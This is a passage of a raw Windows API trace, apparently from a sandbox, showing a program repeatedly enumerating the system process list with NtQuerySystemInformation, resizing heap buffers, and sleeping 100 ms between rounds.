NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x8120) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x9144) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xa168) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xb18c) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xc1b0) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.447] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xd1d4) returned 0x5044f8 [0036.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0x0 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88f0 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88f0) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa538 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa538) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa538 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa538) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.448] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.448] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa538 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa538) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.449] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.449] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2c) returned 0x4daa30 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4daa30 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x36) returned 0x4d9c28 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x26) returned 0x4d8890 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x503d10 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503d10 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x38) returned 0x4d9c28 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x28) returned 0x4d8890 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x20) returned 0x503d10 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4f6928 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x40) returned 0x4d27f8 [0036.450] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27f8) returned 1 [0036.450] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4f7148 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f7148) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4daa30 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4daa30) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x22) returned 0x4d8890 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d8890) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3a) returned 0x4d27f8 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d27f8) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x34) returned 0x4d9c28 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4d9c28) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x5116f0 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5116f0) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.451] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.451] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x503d10 [0036.452] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x503d10) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.452] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.452] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.452] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.452] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.452] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x5044f8) returned 1 [0036.452] Sleep (dwMilliseconds=0x64) [0036.604] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1024) returned 0x5044f8 [0036.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.604] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x2048) returned 0x5044f8 [0036.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.604] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x306c) returned 0x5044f8 [0036.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.604] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x4090) returned 0x5044f8 [0036.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x50b4) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x60d8) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x70fc) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x8120) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x9144) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.605] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xa168) returned 0x5044f8 [0036.605] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.606] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xb18c) returned 0x5044f8 [0036.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.606] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xc1b0) returned 0x5044f8 [0036.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0036.606] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xd1d4) returned 0x5044f8 [0036.606] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0x0 [0036.606] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2) returned 0x4e88f0 [0036.606] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88f0) returned 1 [0036.606] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4fa4f0 [0036.606] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.606] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4f6928 [0036.606] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.606] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.606] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.606] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.606] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6298 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6298) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4f6298 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6298) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4f6928 [0036.607] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4f6928) returned 1 [0036.607] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x10) returned 0x4fa4f0 [0036.608] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4fa4f0) returned 1 [0036.608] Sleep (dwMilliseconds=0x64) [0037.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.145] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x2048) returned 0x5044f8 [0037.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.145] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x306c) returned 0x5044f8 [0037.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.145] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x4090) returned 0x5044f8 [0037.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.145] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x50b4) returned 0x5044f8 [0037.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.145] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x60d8) returned 0x5044f8 [0037.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.146] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x70fc) returned 0x5044f8 [0037.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.146] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x8120) returned 0x5044f8 [0037.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.146] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0x9144) returned 0x5044f8 [0037.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.146] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xa168) returned 0x5044f8 [0037.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.146] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xb18c) returned 0x5044f8 [0037.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.147] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xc1b0) returned 0x5044f8 [0037.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0xc0000004 [0037.147] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x5044f8, Size=0xd1d4) returned 0x5044f8 [0037.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x5044f8, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x5044f8, ResultLength=0x0) returned 0x0 [0037.149] RtlFreeHeap (HeapHandle=0x4c0000, Flags=0x0, BaseAddress=0x4e88f0) returned 1 [0037.149] Sleep (dwMilliseconds=0x64) [0037.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x2048) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x306c) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x4090) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 0xc0000004 [0037.299] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x8, Ptr=0x507728, Size=0x50b4) returned 0x507728 [0037.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x507728, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x507728, ResultLength=0x0) returned 